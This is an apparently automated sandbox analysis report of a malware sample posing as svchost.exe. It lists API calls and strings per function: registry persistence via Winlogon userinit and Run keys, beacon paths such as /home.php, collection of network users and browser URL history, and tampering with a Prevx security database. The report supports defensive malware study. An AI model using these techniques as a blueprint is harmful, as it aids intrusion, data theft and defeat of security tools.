                                                                                                                                                                                                            • GetFileType.KERNEL32(?,00000000,00000000), ref: 02C96C79
                                                                                                                                                                                                            • GetFileInformationByHandle.KERNEL32(?,?), ref: 02C96C96
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$HandleInformationType
                                                                                                                                                                                                            • String ID: ,D0<$,D0<$D0<$D0<
                                                                                                                                                                                                            • API String ID: 4064226416-1748840775
                                                                                                                                                                                                            • Opcode ID: 4837e2ca51a3dc12170bb28ce22d2c1c9feb5f4725421d38bfecf30f5d924a9d
                                                                                                                                                                                                            • Instruction ID: 7f8221c318e4143dce0d053032e39b27c28f664beaf338886061e0b2e7157856
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4837e2ca51a3dc12170bb28ce22d2c1c9feb5f4725421d38bfecf30f5d924a9d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: ED516F72D40218ABDF14CFA9DC89BBEBB7CEB84700F244569E915EB1C0D774AA40CB95
                                                                                                                                                                                                            Function 02C759E0 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 204stringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$strstrstrtol
                                                                                                                                                                                                            • String ID: %s%s$1676d5775e05c50b46baa5579d4fc7$eyuioa$qwrtpsdfghjklzxcvbnm
                                                                                                                                                                                                            • API String ID: 600650289-3097137778
                                                                                                                                                                                                            • Opcode ID: fc2807ee961e9a133faa56c9e298ffd15ae3ba6a2ea2150a52904871b0101bd3
                                                                                                                                                                                                            • Instruction ID: da856dfcd850f2cb1d291f491d62d00feefe61db9d72616daca149179db0e07f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fc2807ee961e9a133faa56c9e298ffd15ae3ba6a2ea2150a52904871b0101bd3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E7719E71E482599BDB26CB78AC90BDEBBB5EF48300F0445E8ED49E3281D3705B45CBA1
                                                                                                                                                                                                            Function 02C82410 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 149memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C82431
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8244C
                                                                                                                                                                                                            • GetTempPathA.KERNEL32(00000104,?,?,?,?,76230F00,00000000,00000000), ref: 02C82466
                                                                                                                                                                                                            • GetTempFileNameA.KERNEL32(?,00000000,00000000,?,?,?,?,76230F00,00000000,00000000), ref: 02C8247C
                                                                                                                                                                                                              • Part of subcall function 02C76240: memset.MSVCRT ref: 02C76271
                                                                                                                                                                                                              • Part of subcall function 02C76240: memset.MSVCRT ref: 02C7628F
                                                                                                                                                                                                              • Part of subcall function 02C76240: RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C762AB
                                                                                                                                                                                                              • Part of subcall function 02C76240: RegQueryValueExA.KERNEL32(?,7D2DE31Fa,00000000,00000001,?,00000104), ref: 02C762D2
                                                                                                                                                                                                              • Part of subcall function 02C76240: GetProcessHeap.KERNEL32(00000008,00000110,?,?), ref: 02C7634A
                                                                                                                                                                                                              • Part of subcall function 02C76240: HeapAlloc.KERNEL32(00000000), ref: 02C76351
                                                                                                                                                                                                              • Part of subcall function 02C76240: memset.MSVCRT ref: 02C76365
                                                                                                                                                                                                              • Part of subcall function 02C76240: lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 02C7637E
                                                                                                                                                                                                              • Part of subcall function 02C76240: RegCloseKey.ADVAPI32(?), ref: 02C7638C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,76230F00,00000000,00000000), ref: 02C824CB
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,76230F00,00000000,00000000), ref: 02C824D2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,76230F00,00000000,00000000), ref: 02C824DE
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,76230F00,00000000,00000000), ref: 02C824E5
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000,00000001,00000001,00000000,/topic.php,?,00000001,00000001,00000001,00000000,00000001,?,?,?,76230F00), ref: 02C82539
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?,?,?,?,76230F00,00000000,00000000), ref: 02C82546
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,76230F00,00000000,00000000), ref: 02C82584
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,76230F00,00000000,00000000), ref: 02C82587
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,76230F00,00000000,00000000), ref: 02C82593
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,76230F00,00000000,00000000), ref: 02C82596
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Processmemset$File$FreeTempValidate$AllocAttributesCloseDeleteNameOpenPathQueryValuelstrcpyn
                                                                                                                                                                                                            • String ID: /topic.php
                                                                                                                                                                                                            • API String ID: 870369024-224703247
                                                                                                                                                                                                            • Opcode ID: a454c440bb8eed63a1394de1c136b9f8726c41ba902644c2b30aa70d9e561112
                                                                                                                                                                                                            • Instruction ID: 859b79327cd0db00b4ba6194f57fb873a6453a7128b419a7423951229dc9266e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a454c440bb8eed63a1394de1c136b9f8726c41ba902644c2b30aa70d9e561112
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B9414C72D801986FCB21EF749C9CEEABBADEF84304F048995F945D3141D6718B44CBA1
                                                                                                                                                                                                            Function 02C88C60 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 111filethreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 02C88C7A
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C88C87
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 02C88CA4
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_000188F0,?,00000000,00000000), ref: 02C88CED
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C88D05
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C88D16
                                                                                                                                                                                                            • GetTempPathA.KERNEL32(00000104,?), ref: 02C88D28
                                                                                                                                                                                                            • GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 02C88D40
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C88D60
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000,00000000,/home.php,?,00000001,?,?,00000001,00000000), ref: 02C88DAA
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C88DB7
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • SystemDrive, xrefs: 02C88C75
                                                                                                                                                                                                            • %45%4E%47%49%4E%45%45%52%21%38%39%39%35%35%32%21%45%37%45%33%44%32%32%36, xrefs: 02C88D4A
                                                                                                                                                                                                            • /home.php, xrefs: 02C88D91
                                                                                                                                                                                                            • name=%s&port=%u, xrefs: 02C88D4F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$HandleInformationPathTemp$AttributesBackslashCloseCreateDeleteEnvironmentNameThreadVariableVolume_snprintf
                                                                                                                                                                                                            • String ID: %45%4E%47%49%4E%45%45%52%21%38%39%39%35%35%32%21%45%37%45%33%44%32%32%36$/home.php$SystemDrive$name=%s&port=%u
                                                                                                                                                                                                            • API String ID: 1291007772-768100762
                                                                                                                                                                                                            • Opcode ID: c8c801393c20ce4181e5ce373c2be4160f4b6f058acb619a3269d56a1740c02f
                                                                                                                                                                                                            • Instruction ID: 19e462e9301785fa3939d799fcd2f6b6f711ed7f5f2997c3c6809450ae5e9672
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c8c801393c20ce4181e5ce373c2be4160f4b6f058acb619a3269d56a1740c02f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1E419571A80249BFEB15EB60CC49FE9777DEF84704F0086D4B605A7180EBB09B448BA0
                                                                                                                                                                                                            Function 02C74630 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 158memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NetQueryDisplayInformation.NETAPI32(00000000,00000001,00000000,000003E8,000000FF,00000000,00000000,00000000,762335B0,00000000,?,?,?,?,02C74FC0,00000000), ref: 02C74677
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000014,?,?,?,?,02C74FC0,00000000,00000000,00000000), ref: 02C746BD
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,02C74FC0,00000000,00000000,00000000), ref: 02C746C4
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C746D7
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C7471D
                                                                                                                                                                                                            • NetApiBufferFree.NETAPI32(00000000,?,?,?,?,02C74FC0,00000000,00000000), ref: 02C74754
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02C74FC0,02C74FC1,000000EA,00000000), ref: 02C7478C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,02C74FC0), ref: 02C7479F
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C747A2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,02C74FC0), ref: 02C747AF
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C747B2
                                                                                                                                                                                                            • NetApiBufferFree.NETAPI32(00000000,?,?,?,?,02C74FC0,00000000,00000000,00000000), ref: 02C747C5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$FreeProcess$Buffer$AllocDisplayFileInformationQueryValidateWrite_snprintfmemset
                                                                                                                                                                                                            • String ID: %S$netuser{
                                                                                                                                                                                                            • API String ID: 639091076-3648794683
                                                                                                                                                                                                            • Opcode ID: c680fe2a91c26ed435c5a11ecd28dce61d6406146c70b4d7320c46dbff52e3f7
                                                                                                                                                                                                            • Instruction ID: a09513ab196caa84cab5f38fd2b69e8b71630842e68712c06780eeb64ca6a33b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c680fe2a91c26ed435c5a11ecd28dce61d6406146c70b4d7320c46dbff52e3f7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0B51D871E40259ABDF26CFA4DC58BEFBBB9EF85701F144695E804E7244D7309A04CBA1
                                                                                                                                                                                                            Function 00402420 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000023,00000000,00000000,?), ref: 0040243C
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000,00000000), ref: 004024A0
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017A8,00000000,00000000), ref: 004024C3
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004024D8
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000B98,00000000,00000000), ref: 004024E4
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 004024F3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017E4,00000000,00000000), ref: 004024FF
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 0040250E
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,000017DC,00000000,00000000), ref: 0040251A
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402529
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00003380,00000000,00000000), ref: 00402535
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,?,00000000), ref: 00402544
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00402547
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$PointerWrite$CloseCreateFolderHandlePath
                                                                                                                                                                                                            • String ID: \PrevxCSI\csidb.csi
                                                                                                                                                                                                            • API String ID: 606440919-2829233815
                                                                                                                                                                                                            • Opcode ID: 8452569d89d16074c856ebe9e50090442212cf04daf89a05b4dc4c5533925dd3
                                                                                                                                                                                                            • Instruction ID: da06213ca23f861e298ab990455e1520987101534f77d1697d18ba9606f76a1b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8452569d89d16074c856ebe9e50090442212cf04daf89a05b4dc4c5533925dd3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 03314871684218BEF311EB90DC96FEA7768EF89B00F104165F304AA1D0DBF16A45CBA9
                                                                                                                                                                                                            Function 02C73310 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 80registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C73335
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 02C73354
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C73361
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 02C7337E
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C73399
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000101,00000000), ref: 02C733B7
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,00000000), ref: 02C733EE
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(00000000,userinit,00000000,00000001,C:\Windows\apppatch\svchost.exe,00000104), ref: 02C7340C
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 02C7341A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • userinit, xrefs: 02C73406
                                                                                                                                                                                                            • C:\Windows\apppatch\svchost.exe, xrefs: 02C733C4, 02C733FB
                                                                                                                                                                                                            • software\microsoft\windows\currentversion\run, xrefs: 02C733E4
                                                                                                                                                                                                            • software\microsoft\windows nt\currentversion\winlogon, xrefs: 02C733AD
                                                                                                                                                                                                            • SystemDrive, xrefs: 02C7334F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Open$AdminBackslashCloseEnvironmentInformationPathQueryUserValueVariableVolume_snprintf
                                                                                                                                                                                                            • String ID: C:\Windows\apppatch\svchost.exe$SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                            • API String ID: 3780845138-4271125494
                                                                                                                                                                                                            • Opcode ID: 6b750813ce8372b554415f7555ee6dfe068380e2f3290fbfdfa6d2ac92d90761
                                                                                                                                                                                                            • Instruction ID: 77455b1871250831008721f3d0005f1f0931f4f4ce81c7aab28f52af9f795f73
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6b750813ce8372b554415f7555ee6dfe068380e2f3290fbfdfa6d2ac92d90761
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 56213CB1E80248BBFB15CB90DD4AFEDB77CEB44B00F104598B705A7080D7B4AA44CBA1
                                                                                                                                                                                                            Function 00402810 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 106registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegCreateKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000000,00000000,00000102,00000000,?,00000000,00000000), ref: 0040284B
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 00402866
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 00402873
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 00402890
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 004028AB
                                                                                                                                                                                                            • RegCreateKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000000,00000000,00000102,00000000,00000000,00000000), ref: 004028FA
                                                                                                                                                                                                            • RegSetValueExA.KERNELBASE(00000000,userinit,00000000,00000001,?,?), ref: 0040291E
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(00000000), ref: 0040292D
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00402937
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • software\microsoft\windows\currentversion\run, xrefs: 004028F0
                                                                                                                                                                                                            • userinit, xrefs: 00402918
                                                                                                                                                                                                            • software\microsoft\windows nt\currentversion\winlogon, xrefs: 00402833
                                                                                                                                                                                                            • SystemDrive, xrefs: 00402861
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Create$BackslashCloseEnvironmentFlushInformationPathValueVariableVolume_snprintf
                                                                                                                                                                                                            • String ID: SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                            • API String ID: 3547530944-2324515132
                                                                                                                                                                                                            • Opcode ID: a4bf4f337ed71f520bd7e73d3d42088919ba7b50cd5950a846e16a8a3e84f3f8
                                                                                                                                                                                                            • Instruction ID: 580de61d93956de76c260b8cd85b43503f34d02da1fa31da69fbe3ce3aace33d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a4bf4f337ed71f520bd7e73d3d42088919ba7b50cd5950a846e16a8a3e84f3f8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0F3166B5740305BBE720DB909D4AFEA777CDB95B00F208155FB44BA1D0D6F4AA448BA8
                                                                                                                                                                                                            Function 00401C70 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401C96
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,76230F00,00000000,00000000), ref: 00401CA7
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 00401CB0
                                                                                                                                                                                                            • SwitchToThread.KERNEL32 ref: 00401CBF
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401CC8
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401CE8
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00401CF9
                                                                                                                                                                                                            • Module32First.KERNEL32(00000000,?), ref: 00401D1A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,kernel), ref: 00401D3C
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.dll), ref: 00401D48
                                                                                                                                                                                                            • Module32Next.KERNEL32(00000000,00000224), ref: 00401D56
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
                                                                                                                                                                                                            • String ID: .dll$kernel
                                                                                                                                                                                                            • API String ID: 2979424695-2375045364
                                                                                                                                                                                                            • Opcode ID: 2e763791af0f1b55d9a70bbaeb0f15e26afb3baf3eac05cd15eefe00859f8061
                                                                                                                                                                                                            • Instruction ID: 6b572b3e0c1d36d44cadbb52a12c0b3f1dd55c4915d11e4f0b3c307bdf2881c5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2e763791af0f1b55d9a70bbaeb0f15e26afb3baf3eac05cd15eefe00859f8061
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EC21B972A0111467D7109BA5AD49B9E77A8EF89720F100276EA04F32E0EB34DD4556A9
                                                                                                                                                                                                            Function 02C93B50 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 90processthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C93B76
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,?,?,00000000,76230F00), ref: 02C93B87
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C93B90
                                                                                                                                                                                                            • SwitchToThread.KERNEL32 ref: 02C93B9F
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 02C93BA8
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C93BC8
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C93BD9
                                                                                                                                                                                                            • Module32First.KERNEL32(00000000,?), ref: 02C93BFA
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,kernel), ref: 02C93C1C
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.dll), ref: 02C93C28
                                                                                                                                                                                                            • Module32Next.KERNEL32(00000000,00000224), ref: 02C93C36
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateHandleModule32SnapshotToolhelp32$CloseErrorFirstInformationLastNextSwitchThreadmemset
                                                                                                                                                                                                            • String ID: .dll$kernel
                                                                                                                                                                                                            • API String ID: 2979424695-2375045364
                                                                                                                                                                                                            • Opcode ID: 837fe52d8f96531e792efd769e438687a494a964506d8d084a00e4bcb74075a0
                                                                                                                                                                                                            • Instruction ID: d2d9058f1445d8cf351f5a5261efd48de42c6316710ee31e9748862b917e9faa
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 837fe52d8f96531e792efd769e438687a494a964506d8d084a00e4bcb74075a0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 45219971E4155467DB11ABA9AC4CBDEB3ACDF89714F1007D5E905D3180DB30DE458BA1
                                                                                                                                                                                                            Function 02C747E0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 105fileregistryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000001,Software\Microsoft\Internet Explorer\TypedURLs,00000000,00020119,?,00000000), ref: 02C74803
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C7482B
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,?,762335B0), ref: 02C74862
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,IE history:,0000000C,02C74FAE,00000000), ref: 02C7488C
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3BE4,00000001,02C74FAE,00000000), ref: 02C7489E
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,02C74FAE,00000000), ref: 02C748CA
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02CB3B50,00000002,02C74FAE,00000000), ref: 02C748DC
